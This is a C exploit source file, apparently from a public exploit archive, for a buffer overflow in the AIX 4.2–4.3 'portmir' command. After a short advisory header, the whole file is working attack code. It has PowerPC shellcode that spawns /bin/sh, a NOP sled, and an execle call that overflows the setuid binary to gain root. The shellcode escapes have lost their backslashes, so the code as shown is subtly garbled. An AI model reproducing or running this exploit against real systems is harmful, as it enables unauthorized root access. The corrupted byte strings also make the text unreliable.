/*
source: http://www.securityfocus.com/bid/385/info
AIX version 4.2.1 introduced a new command titled 'portmir'. This new program had two notable vulnerabilites. First it contained a buffer overflow which allowed malicious users to obtain root privileges. Secondly it wrote it's log files to a world readable directly thereby exposing security relavent information.
*/
/*## copyright LAST STAGE OF DELIRIUM oct 2000 poland *://lsd-pl.net/ #*/
/*## /usr/bin/portmir #*/
/* note: to avoid potential system hang-up please, first obtain the exact */
/* AIX OS level with the use of the uname -a or oslevel commands */
#define ADRNUM 400
#define NOPNUM 16000
#define ALLIGN 2
char shellcode[]=
"x7cxa5x2ax79" /* xor. r5,r5,r5 */
"x40x82xffxfd" /* bnel <shellcode> */
"x7fxe8x02xa6" /* mflr r31 */
"x3bxffx01x20" /* cal r31,0x120(r31) */
"x38x7fxffx08" /* cal r3,-248(r31) */
"x38x9fxffx10" /* cal r4,-240(r31) */
"x90x7fxffx10" /* st r3,-240(r31) */
"x90xbfxffx14" /* st r5,-236(r31) */
"x88x5fxffx0f" /* lbz r2,-241(r31) */
"x98xbfxffx0f" /* stb r5,-241(r31) */
"x4cxc6x33x42" /* crorc cr6,cr6,cr6 */
"x44xffxffx02" /* svca */
"/bin/shxff"
;
char nop[]="x7fxffxfbx78";
main(int argc,char **argv,char **e){
char buffer[20000],adr[4],*b,*envp[2];
int i;
printf("copyright LAST STAGE OF DELIRIUM oct 2000 poland //lsd-pl.net/n");
printf("/usr/sbin/portmir for aix 4.2 4.3 4.3.x PowerPC/POWERnn");
if(argc<2){
printf("usage: %s 42|43|433n",argv[0]);exit(-1);
}
switch(atoi(argv[1])){
case 42: shellcode[55]=0x02; break;
case 43: shellcode[55]=0x04; break;
case 433: shellcode[55]=0x03; break;
default: exit(-1);
}
i=0; while(*e++) i+=strlen(*e)+1;
*((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000;
envp[0]=&buffer[1000];
envp[1]=0;
b=buffer;
for(i=0;i<ALLIGN;i++) *b++=adr[i%4];
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
*b=0;
b=&buffer[1000];
sprintf(b,"xxx=");b+=4;
for(i=0;i<ALLIGN;i++) *b++=' ';
for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;
execle("/usr/sbin/portmir","lsd","-t",buffer,0,envp);
}
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